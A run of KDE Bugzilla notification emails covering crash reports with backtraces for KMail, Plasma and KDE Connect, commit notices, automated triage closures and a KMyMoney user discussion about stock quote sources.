[digikam] [Bug 479511] Crash when filling in name of scanned face
https://bugs.kde.org/show_bug.cgi?id=479511 --- Comment #6 from Jan van Bekkum --- Created attachment 165091 --> https://bugs.kde.org/attachment.cgi?id=165091=edit Screenshot of a different program on the same display I can change the font of the icons in digiKam, but not the size of the toolbars and the top bar. The fonts of digiKam 8.3.0 are smaller than the fonts of 8.2.0. Version 8.2.0 was good. I understand from Microsoft feedback that this may ne an app issue. https://support.microsoft.com/en-us/topic/windows-scaling-issues-for-high-dpi-devices-508483cd-7c59-0d08-12b0-960b99aa347d. -- You are receiving this mail because: You are watching all bug changes.
[digikam] [Bug 479511] Crash when filling in name of scanned face
https://bugs.kde.org/show_bug.cgi?id=479511 Jan van Bekkum changed: What|Removed |Added Status|RESOLVED|REPORTED Resolution|FIXED |--- Assignee|digikam-bugs-n...@kde.org |jan.vanbek...@gmail.com --- Comment #5 from Jan van Bekkum --- Created attachment 165090 --> https://bugs.kde.org/attachment.cgi?id=165090=edit Screenshot of digiKam on an UHD display -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 478376] Panel in "Dodge Windows" mode does not dodge window whose center is on other screen even when it touches the panel
https://bugs.kde.org/show_bug.cgi?id=478376 --- Comment #9 from Fushan Wen --- Git commit a0378d455157638920c2af5a58ef332fb837c8f0 by Fushan Wen, on behalf of Yifan Zhu. Committed on 21/01/2024 at 07:50. Pushed by fusionfuture into branch 'Plasma/6.0'. libtaskmanager/taskfilterproxymodel: convert region geometry to device coordinate system This is better than the original method of converting windowGeometry to logical coordinate system since the window may span multiple screens, while the region is always on one screen. (cherry picked from commit 661668c780e0920a1ab2a4ed083ecaf278f6de40) M +12 -11 libtaskmanager/taskfilterproxymodel.cpp https://invent.kde.org/plasma/plasma-workspace/-/commit/a0378d455157638920c2af5a58ef332fb837c8f0 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 478376] Panel in "Dodge Windows" mode does not dodge window whose center is on other screen even when it touches the panel
https://bugs.kde.org/show_bug.cgi?id=478376 --- Comment #8 from Bug Janitor Service --- A possibly relevant merge request was started @ https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/3799 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 478376] Panel in "Dodge Windows" mode does not dodge window whose center is on other screen even when it touches the panel
https://bugs.kde.org/show_bug.cgi?id=478376 --- Comment #7 from fanzhuyi...@gmail.com --- Git commit 661668c780e0920a1ab2a4ed083ecaf278f6de40 by Yifan Zhu. Committed on 21/01/2024 at 03:30. Pushed by fusionfuture into branch 'master'. libtaskmanager/taskfilterproxymodel: convert region geometry to device coordinate system This is better than the original method of converting windowGeometry to logical coordinate system since the window may span multiple screens, while the region is always on one screen. M +12 -11 libtaskmanager/taskfilterproxymodel.cpp https://invent.kde.org/plasma/plasma-workspace/-/commit/661668c780e0920a1ab2a4ed083ecaf278f6de40 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 461481] Cycle through only grouped tasks when scrolling over grouped task icon
https://bugs.kde.org/show_bug.cgi?id=461481 --- Comment #11 from evea --- I have tried adding this to the current plasma 6 code, to see if the application is running, I checked "TaskManager.AbstractTasksModel.IsActive", which used to return "undefined" if the application was not running. Looks like now it returns false. Do you maybe have an alternative method for me? -- You are receiving this mail because: You are watching all bug changes.
[kmail2] [Bug 480121] New: kmail crash when changing layout
https://bugs.kde.org/show_bug.cgi?id=480121 Bug ID: 480121 Summary: kmail crash when changing layout Classification: Applications Product: kmail2 Version: unspecified Platform: Fedora RPMs OS: Linux Status: REPORTED Keywords: drkonqi Severity: crash Priority: NOR Component: general Assignee: kdepim-b...@kde.org Reporter: seanmcne...@gmail.com Target Milestone: --- Application: kmail (5.24.4 (23.08.4)) Qt Version: 5.15.11 Frameworks Version: 5.113.0 Operating System: Linux 6.6.11-200.fc39.x86_64 x86_64 Windowing System: Wayland Distribution: Fedora Linux 39.20240121.0 (Kinoite) DrKonqi: 5.27.10 [KCrashBackend] -- Information about the crash: When changine the layout to/from message panel below message list it crashes. To reproduce: Configure KMail Appearance -> Layout in Message Preview Pane Change the selection and hit OK The crash can be reproduced every time. -- Backtrace: Application: KMail (kmail), signal: Segmentation fault [KCrash Handler] #4 0x7f5fc8232ad4 in Akonadi::StandardMailActionManager::action(Akonadi::StandardMailActionManager::Type) const () from /lib64/libKPim5AkonadiMime.so.5 #5 0x7f5fd2614042 in KMMainWidget::updateFolderMenu() () from /lib64/libkmailprivate.so.5 #6 0x7f5fc90e8871 in void doActivate(QObject*, int, void**) () from /lib64/libQt5Core.so.5 #7 0x7f5fc907183d in QItemSelectionModel::selectionChanged(QItemSelection const&, QItemSelection const&) () from /lib64/libQt5Core.so.5 #8 0x7f5fc9079f77 in QItemSelectionModel::select(QItemSelection const&, QFlags) () from /lib64/libQt5Core.so.5 #9 0x7f5fc9075194 in QItemSelectionModel::select(QModelIndex const&, QFlags) () from /lib64/libQt5Core.so.5 #10 0x7f5fc6f2f0c2 in KViewStateSerializer::restoreSelection(QStringList const&) () from /lib64/libKF5WidgetsAddons.so.5 #11 0x7f5fc79bcc43 in Akonadi::ETMViewStateSaver::selectCollections(QVector const&) () from /lib64/libKPim5AkonadiWidgets.so.5 #12 0x7f5fc8d1b1a0 in MessageList::Pane::restoreHeaderSettings(int, bool) () from /lib64/libKPim5MessageList.so.5 #13 0x7f5fc8d10451 in MessageList::Pane::Pane(bool, QAbstractItemModel*, QItemSelectionModel*, QWidget*) () from /lib64/libKPim5MessageList.so.5 #14 0x7f5fd25f84d8 in KMMainWidget::createWidgets() () from /lib64/libkmailprivate.so.5 #15 0x7f5fd25f9e20 in KMMainWidget::readConfig() () from /lib64/libkmailprivate.so.5 #16 0x7f5fd2600c73 in KMMainWidget::slotConfigChanged() () from /lib64/libkmailprivate.so.5 #17 0x7f5fc90e8871 in void doActivate(QObject*, int, void**) () from /lib64/libQt5Core.so.5 #18 0x7f5fc90e8871 in void doActivate(QObject*, int, void**) () from /lib64/libQt5Core.so.5 #19 0x7f5fc90e8871 in void doActivate(QObject*, int, void**) () from /lib64/libQt5Core.so.5 #20 0x7f5fc9ea9c74 in QAbstractButton::clicked(bool) () from /lib64/libQt5Widgets.so.5 #21 0x7f5fc9ea9eff in QAbstractButtonPrivate::emitClicked() () from /lib64/libQt5Widgets.so.5 #22 0x7f5fc9eab860 in QAbstractButtonPrivate::click() () from /lib64/libQt5Widgets.so.5 #23 0x7f5fc9eaba68 in QAbstractButton::mouseReleaseEvent(QMouseEvent*) () from /lib64/libQt5Widgets.so.5 #24 0x7f5fc9df3698 in QWidget::event(QEvent*) () from /lib64/libQt5Widgets.so.5 #25 0x7f5fc9daeb75 in QApplicationPrivate::notify_helper(QObject*, QEvent*) () from /lib64/libQt5Widgets.so.5 #26 0x7f5fc9db7456 in QApplication::notify(QObject*, QEvent*) () from /lib64/libQt5Widgets.so.5 #27 0x7f5fc90b4598 in QCoreApplication::notifyInternal2(QObject*, QEvent*) () from /lib64/libQt5Core.so.5 #28 0x7f5fc9db56a4 in QApplicationPrivate::sendMouseEvent(QWidget*, QMouseEvent*, QWidget*, QWidget*, QWidget**, QPointer&, bool, bool) () from /lib64/libQt5Widgets.so.5 #29 0x7f5fc9e0d1b9 in QWidgetWindow::handleMouseEvent(QMouseEvent*) () from /lib64/libQt5Widgets.so.5 #30 0x7f5fc9e1073f in QWidgetWindow::event(QEvent*) () from /lib64/libQt5Widgets.so.5 #31 0x7f5fc9daeb75 in QApplicationPrivate::notify_helper(QObject*, QEvent*) () from /lib64/libQt5Widgets.so.5 #32 0x7f5fc90b4598 in QCoreApplication::notifyInternal2(QObject*, QEvent*) () from /lib64/libQt5Core.so.5 #33 0x7f5fc956cc1b in QGuiApplicationPrivate::processMouseEvent(QWindowSystemInterfacePrivate::MouseEvent*) () from /lib64/libQt5Gui.so.5 #34 0x7f5fc954acfc in QWindowSystemInterface::sendWindowSystemEvents(QFlags) () from /lib64/libQt5Gui.so.5 #35 0x7f5fc189ae94 in userEventSourceDispatch(_GSource*, int (*)(void*), void*) () from /lib64/libQt5WaylandClient.so.5 #36 0x7f5fc28bde5c in g_main_context_dispatch_unlocked.lto_priv () from /lib64/libglib-2.0.so.0 #37 0x7f5fc2918f18 in g_main_context_iterate_unlocked.isra () from /lib64/libglib-2.0.so.0 #38 0x7f5fc28bbad3 in g_main_context_iteration () from /lib64/libglib-2.0.so.0 #39 0x7f5fc9106ad9 in
[kmymoney] [Bug 469431] Need better way to handle changes in stock price quote source
https://bugs.kde.org/show_bug.cgi?id=469431 --- Comment #49 from KB.claim --- (In reply to Brendan from comment #48) > As a user for almost 20 years I find this comment pretty insulting to the > developers and the users. > > "kmm is not for the masses, it is an experimental tool with no visible > development, non existent documentation and "mail lists"." > > Go find a version from 20 years ago and tell me there has been no visible > development. I'm extremely glad that's not what I was told before I started > using KMM. I have found the developers to be very helpful when I run into > issues and Thomas has gone way above and beyond helping track down online > banking issues for me over the years. > > While development has essentially stopped on 5.1 for a while now, that's > because the focus is on the master version, which you are welcome to run. Of > course, it's not released so it's actually experimental to some degree. > > The Yahoo issue has been a problem, but blaming the KMM team make little > sense. It would be nice to find the perfect solution, but sometimes that's > in the eye of the beholder. I have no problem editing the Yahoo settings > when there is a problem. Tracking down the latest settings is usually as > easy as asking on the mailing list if you don't find it there already. I > also compile KMM weekly (when things were changing) so updating through the > code works for me but releases are pretty rare so that's not a great option > for everyone. Maybe a simple link on the "Update Stock and Currency" window > to a web page that has the latest settings for online quotes would help. > Maybe a link to the KMM Online Quote Settings page in the same window would > also help, but I'm not sure that's possible with the existing code. > > For now, I hope they focus on releasing the master and then maybe some > wishlist items can get in their queue. > > They say you get what you pay for but I think KMM is an example where we get > a lot more than we pay for. > > I suggest you either offer helpful suggestions and deal with what we have or > find some other program to track you finances. Or better yet, join the > development team and make some visible improvements. > > Brendan Coupe agree, "freak" is most likely the wrong word, let's use nerds, geeks, enthusiasts. your and the other comments just confirm that kmm is not for the masses, the masses have no idea what nightly builds are, cannot compile (which includes me), have no idea what a mailing list is, or regexp, and most likely cannot even properly install kmm, and so on, i.e. not for the masses, just for the enthusiasts, who have worked themselves into a vast number of software developemtn and admin tools. There is no word of blame against any developer from my side, i am solely describing the user experience, and the status of the program as perceived by someone not being that "nerd, geek, enthusiast" to understand all these tools. The kmm website states to want to be the easiest tool to use or so - sorry, just as objectively as possible - this is far from the truth. Nothing is easy with kmm, installation, documentation, setup, online rates, depot/stocks, reports. It really needs considerable time to test and try to get ahead and there is 0 approachable documentation on most topics. My contribution to the project is here - by giving uncomfortable status. I was starting to help with the documentation, but there is no way i found to reasonably contribute. Send comments to jack, about what? An completely outdated pdf guide? I have not found a documentation project where one can edit ... It appears you can retrieve stock quotes - i cant and have searched and tried and tested for days and many hours. Can you post here how you get the rates updated and FX? -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480120] New: Crash upon login
https://bugs.kde.org/show_bug.cgi?id=480120 Bug ID: 480120 Summary: Crash upon login Classification: Plasma Product: plasmashell Version: 5.27.10 Platform: FreeBSD Ports OS: FreeBSD Status: REPORTED Keywords: drkonqi Severity: crash Priority: NOR Component: general Assignee: plasma-b...@kde.org Reporter: goestoli...@gmail.com CC: k...@davidedmundson.co.uk Target Milestone: 1.0 Application: plasmashell (5.27.10) Qt Version: 5.15.12 Frameworks Version: 5.113.0 Operating System: FreeBSD 13.2-STABLE arm64 Windowing System: X11 Distribution (Platform): FreeBSD Ports DrKonqi: 5.27.10 [KCrashBackend] -- Information about the crash: Curiously, I see a 'using software rendering' icon in the task bar. I have no idea if this is relevant, but I had just rebooted and logged in via lightdm (X11). The reporter is unsure if this crash is reproducible. -- Backtrace: Application: Plasma (plasmashell), signal: Segmentation fault (lldb) process attach --pid 58167 Process 58167 stopped * thread #1, name = 'plasmashell', stop reason = signal SIGSTOP frame #0: 0x9b13bce0 libc.so.7`__sys_wait4 + 4 libc.so.7`__sys_wait4: -> 0x9b13bce0 <+4>: svc#0 0x9b13bce4 <+8>: b.hs 0x9b13bcec; <+16> 0x9b13bce8 <+12>: ret 0x9b13bcec <+16>: b 0x9b139c40; ___lldb_unnamed_symbol4960 thread #2, name = 'plasmashell', stop reason = signal SIGSTOP frame #0: 0x9b13bbb8 libc.so.7`__sys_read + 8 libc.so.7`__sys_read: -> 0x9b13bbb8 <+8>: b.hs 0x9b13bbc0; <+16> 0x9b13bbbc <+12>: ret 0x9b13bbc0 <+16>: b 0x9b139c40; ___lldb_unnamed_symbol4960 libc.so.7`__sys_readv: 0x9b13bbc4 <+0>: movx8, #0x78 ; =120 thread #3, name = 'plasmashell', stop reason = signal SIGSTOP frame #0: 0x9b13baf0 libc.so.7`__sys_kevent + 8 libc.so.7`__sys_kevent: -> 0x9b13baf0 <+8>: b.hs 0x9b13baf8; <+16> 0x9b13baf4 <+12>: ret 0x9b13baf8 <+16>: b 0x9b139c40; ___lldb_unnamed_symbol4960 libc.so.7`__sys_msync: 0x9b13bafc <+0>: movx8, #0x41 ; =65 thread #4, name = 'plasmashell', stop reason = signal SIGSTOP frame #0: 0x9b13bb68 libc.so.7`__sys_poll + 8 libc.so.7`__sys_poll: -> 0x9b13bb68 <+8>: b.hs 0x9b13bb70; <+16> 0x9b13bb6c <+12>: ret 0x9b13bb70 <+16>: b 0x9b139c40; ___lldb_unnamed_symbol4960 libc.so.7`__sys_ppoll: 0x9b13bb74 <+0>: movx8, #0x221; =545 Executable module set to "/usr/local/bin/plasmashell". Architecture set to: aarch64-unknown-freebsd13.2. (lldb) settings set term-width 200 (lldb) thread info thread #1: tid = 100260, 0x9b13bce0 libc.so.7`__sys_wait4 + 4, name = 'plasmashell', stop reason = signal SIGSTOP (lldb) bt all * thread #1, name = 'plasmashell', stop reason = signal SIGSTOP * frame #0: 0x9b13bce0 libc.so.7`__sys_wait4 + 4 frame #1: 0xa39b4884 libthr.so.3`___lldb_unnamed_symbol721 + 72 frame #2: 0x880e0268 libKF5Crash.so.5`___lldb_unnamed_symbol226 + 304 frame #3: 0x880dfd38 libKF5Crash.so.5`KCrash::defaultCrashHandler(int) + 1124 frame #4: 0xa39b1f38 libthr.so.3`___lldb_unnamed_symbol678 + 240 frame #5: 0xa39b1678 libthr.so.3`___lldb_unnamed_symbol659 + 248 frame #6: 0xf000 frame #7: 0x8b35ebfc libQt5Quick.so.5`___lldb_unnamed_symbol14904 + 264 frame #8: 0x99cb2580 libQt5Gui.so.5`QWindow::event(QEvent*) + 576 frame #9: 0x8b3d84bc libQt5Quick.so.5`QQuickWindow::event(QEvent*) + 264 frame #10: 0x96c98544 libQt5Widgets.so.5`QApplicationPrivate::notify_helper(QObject*, QEvent*) + 300 frame #11: 0x96c9988c libQt5Widgets.so.5`QApplication::notify(QObject*, QEvent*) + 564 frame #12: 0x9d432fe0 libQt5Core.so.5`QCoreApplication::notifyInternal2(QObject*, QEvent*) + 220 frame #13: 0x99ca5168 libQt5Gui.so.5`QGuiApplicationPrivate::processExposeEvent(QWindowSystemInterfacePrivate::ExposeEvent*) + 268 frame #14: 0x99c83b74 libQt5Gui.so.5`QWindowSystemInterface::sendWindowSystemEvents(QFlags) + 264 frame #15: 0xd15b3bf4 libQt5XcbQpa.so.5`___lldb_unnamed_symbol3691 + 40 frame #16: 0xaeefa4bc libglib-2.0.so.0`___lldb_unnamed_symbol2507 + 332 frame #17: 0xaeefa890 libglib-2.0.so.0`___lldb_unnamed_symbol2508 + 560 frame #18: 0xaeefa96c libglib-2.0.so.0`g_main_context_iteration + 116 frame #19: 0x9d48cde4 libQt5Core.so.5`QEventDispatcherGlib::processEvents(QFlags) + 108 frame #20: 0x9d42f480 libQt5Core.so.5`QEventLoop::exec(QFlags) + 564 frame #21: 0x9d433780 libQt5Core.so.5`QCoreApplication::exec()
[systemsettings] [Bug 478089] Previews in the size dropdown have wrong sizes when using a scale factor
https://bugs.kde.org/show_bug.cgi?id=478089 Bug Janitor Service changed: What|Removed |Added Status|CONFIRMED |ASSIGNED --- Comment #5 from Bug Janitor Service --- A possibly relevant merge request was started @ https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/3798 -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 479968] At 100% scale, cursor size preview can escape the combo box bounds
https://bugs.kde.org/show_bug.cgi?id=479968 Bug Janitor Service changed: What|Removed |Added Status|CONFIRMED |ASSIGNED --- Comment #3 from Bug Janitor Service --- A possibly relevant merge request was started @ https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/3797 -- You are receiving this mail because: You are watching all bug changes.
[extra-cmake-modules] [Bug 480107] kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 Matin Lotfaliei changed: What|Removed |Added Resolution|--- |FIXED Status|REPORTED|RESOLVED -- You are receiving this mail because: You are watching all bug changes.
[extra-cmake-modules] [Bug 480107] kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 --- Comment #2 from Matin Lotfaliei --- I learned that I need to set QT_MAJOR_VERSION instead of QT_VERSION_MAJOR before including the KDEInstallDirs to fix it. -- You are receiving this mail because: You are watching all bug changes.
[konsole] [Bug 480119] New: konsole often doesn't start with previously opened tabs
https://bugs.kde.org/show_bug.cgi?id=480119 Bug ID: 480119 Summary: konsole often doesn't start with previously opened tabs Classification: Applications Product: konsole Version: 23.08.4 Platform: FreeBSD Ports OS: FreeBSD Status: REPORTED Severity: normal Priority: NOR Component: general Assignee: konsole-de...@kde.org Reporter: y...@tsoft.com Target Milestone: --- SUMMARY STEPS TO REPRODUCE 1. Have some tabs 2. kill konsole gracefully 3. start konsole again OBSERVED RESULT konsole often starts with no previous tabs opened. I think that sometimes tabs are restored, but not always. EXPECTED RESULT konsole should always restart in the same state it was killed. SOFTWARE/OS VERSIONS Linux/KDE Plasma: (available in About System) KDE Plasma Version: 5.27.10 KDE Frameworks Version: 5.113.0 Qt Version: 5.15.12 ADDITIONAL INFORMATION -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 478865] Multiple Screen with one display being blank under wayland
https://bugs.kde.org/show_bug.cgi?id=478865 Bug Janitor Service changed: What|Removed |Added Resolution|BACKTRACE |WORKSFORME Status|NEEDSINFO |RESOLVED --- Comment #12 from Bug Janitor Service --- This bug has been in NEEDSINFO status with no change for at least 30 days. The bug is now closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[KPipeWire] [Bug 475472] Spectacle fails to record a window with h264 in specific dimensions
https://bugs.kde.org/show_bug.cgi?id=475472 Bug Janitor Service changed: What|Removed |Added Status|NEEDSINFO |RESOLVED Resolution|WAITINGFORINFO |WORKSFORME --- Comment #9 from Bug Janitor Service --- This bug has been in NEEDSINFO status with no change for at least 30 days. The bug is now closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 472781] Kdenlive 23.11.70 crashed all 2minutes?
https://bugs.kde.org/show_bug.cgi?id=472781 --- Comment #2 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 479011] "Allow legacy X11 apps to read keystrokes typed in all apps" stops working after a while, or when screen is locked and unlocked
https://bugs.kde.org/show_bug.cgi?id=479011 --- Comment #3 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 471125] crash on clicking a clip
https://bugs.kde.org/show_bug.cgi?id=471125 --- Comment #2 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 384542] custom effects cant be modified
https://bugs.kde.org/show_bug.cgi?id=384542 --- Comment #2 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 452496] Kdenlive doesn't install because of this.
https://bugs.kde.org/show_bug.cgi?id=452496 --- Comment #2 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 423923] Cannot insert zone into timeline without restart
https://bugs.kde.org/show_bug.cgi?id=423923 --- Comment #3 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 422918] Transitions between png's with text draw the shadows before the transition reaches them.
https://bugs.kde.org/show_bug.cgi?id=422918 --- Comment #2 from Bug Janitor Service --- Dear Bug Submitter, This bug has been in NEEDSINFO status with no change for at least 15 days. Please provide the requested information as soon as possible and set the bug status as REPORTED. Due to regular bug tracker maintenance, if the bug is still in NEEDSINFO status with no change in 30 days the bug will be closed as RESOLVED > WORKSFORME due to lack of needed information. For more information about our bug triaging procedures please read the wiki located here: https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging If you have already provided the requested information, please mark the bug as REPORTED so that the KDE team knows that the bug is ready to be confirmed. Thank you for helping us make KDE software even better for everyone! -- You are receiving this mail because: You are watching all bug changes.
[extra-cmake-modules] [Bug 480107] kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 Matin Lotfaliei changed: What|Removed |Added Product|frameworks-kcoreaddons |extra-cmake-modules Assignee|mp...@kde.org |ecm-bugs-n...@kde.org Component|general |general -- You are receiving this mail because: You are watching all bug changes.
[frameworks-kcoreaddons] [Bug 480107] kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 --- Comment #1 from Matin Lotfaliei --- I learned that kcoreaddons uses KDE_INSTALL_PLUGINDIR variable for the installation. -- You are receiving this mail because: You are watching all bug changes.
[kdeconnect] [Bug 480118] New: KdeConnect on PC Crashes every time phone is unlocked.
https://bugs.kde.org/show_bug.cgi?id=480118 Bug ID: 480118 Summary: KdeConnect on PC Crashes every time phone is unlocked. Classification: Applications Product: kdeconnect Version: 23.08.4 Platform: Neon OS: Linux Status: REPORTED Keywords: drkonqi Severity: crash Priority: NOR Component: common Assignee: albertv...@gmail.com Reporter: ashleysom...@gmail.com CC: andrew.g.r.hol...@gmail.com Target Milestone: --- Application: kdeconnectd (23.08.4) Qt Version: 5.15.12 Frameworks Version: 5.114.0 Operating System: Linux 6.5.0-14-generic x86_64 Windowing System: X11 Distribution: Ubuntu 22.04.3 LTS DrKonqi: 5.27.10 [KCrashBackend] -- Information about the crash: Similar to a lot of other recently submitted issues, possibly duplicate. The crash can be reproduced every time. -- Backtrace: Application: KDE Connect Daemon (kdeconnectd), signal: Segmentation fault [KCrash Handler] #4 0x7f2f058d187e in Device::reloadPlugins() () from /lib/x86_64-linux-gnu/libkdeconnectcore.so.23 #5 0x7f2f058d1aa1 in Device::pairingHandler_pairingSuccessful() () from /lib/x86_64-linux-gnu/libkdeconnectcore.so.23 #6 0x7f2f042f4db4 in ?? () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #7 0x7f2f058c2519 in PairingHandler::acceptPairing() () from /lib/x86_64-linux-gnu/libkdeconnectcore.so.23 #8 0x7f2f042f4db4 in ?? () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #9 0x7f2f0585c350 in KNotification::activate(unsigned int) () from /lib/x86_64-linux-gnu/libKF5Notifications.so.5 #10 0x7f2f0585efc9 in ?? () from /lib/x86_64-linux-gnu/libKF5Notifications.so.5 #11 0x7f2f042f4db4 in ?? () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #12 0x7f2f05862b83 in KNotificationPlugin::actionInvoked(int, int) () from /lib/x86_64-linux-gnu/libKF5Notifications.so.5 #13 0x7f2f0587154b in ?? () from /lib/x86_64-linux-gnu/libKF5Notifications.so.5 #14 0x7f2f042f4db4 in ?? () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #15 0x7f2f0587bf15 in ?? () from /lib/x86_64-linux-gnu/libKF5Notifications.so.5 #16 0x7f2f0587ca03 in ?? () from /lib/x86_64-linux-gnu/libKF5Notifications.so.5 #17 0x7f2f054f7feb in ?? () from /lib/x86_64-linux-gnu/libQt5DBus.so.5 #18 0x7f2f042ea85e in QObject::event(QEvent*) () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #19 0x7f2f04f6c783 in QApplicationPrivate::notify_helper(QObject*, QEvent*) () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5 #20 0x7f2f042bd30a in QCoreApplication::notifyInternal2(QObject*, QEvent*) () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #21 0x7f2f042c0407 in QCoreApplicationPrivate::sendPostedEvents(QObject*, int, QThreadData*) () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #22 0x7f2f043171a7 in ?? () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #23 0x7f2f02bc7d3b in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 #24 0x7f2f02c1d258 in ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 #25 0x7f2f02bc53e3 in g_main_context_iteration () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 #26 0x7f2f043167f8 in QEventDispatcherGlib::processEvents(QFlags) () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #27 0x7f2f042bbc2b in QEventLoop::exec(QFlags) () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #28 0x7f2f042c41d4 in QCoreApplication::exec() () from /lib/x86_64-linux-gnu/libQt5Core.so.5 #29 0x55e8d4855001 in ?? () #30 0x7f2f03829d90 in __libc_start_call_main (main=main@entry=0x55e8d4854bd0, argc=argc@entry=1, argv=argv@entry=0x7ffd681cb3b8) at ../sysdeps/nptl/libc_start_call_main.h:58 #31 0x7f2f03829e40 in __libc_start_main_impl (main=0x55e8d4854bd0, argc=1, argv=0x7ffd681cb3b8, init=, fini=, rtld_fini=, stack_end=0x7ffd681cb3a8) at ../csu/libc-start.c:392 #32 0x55e8d4855285 in ?? () [Inferior 1 (process 4227) detached] The reporter indicates this bug may be a duplicate of or related to bug 478265, bug 475960, bug 478768, bug 479595, bug 479610. Reported using DrKonqi -- You are receiving this mail because: You are watching all bug changes.
[frameworks-kcoreaddons] [Bug 480107] kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 Matin Lotfaliei changed: What|Removed |Added Assignee|ecm-bugs-n...@kde.org |mp...@kde.org Product|extra-cmake-modules |frameworks-kcoreaddons Component|general |general CC||kdelibs-b...@kde.org -- You are receiving this mail because: You are watching all bug changes.
[Haruna] [Bug 479724] No audio from Haruna OR mpv
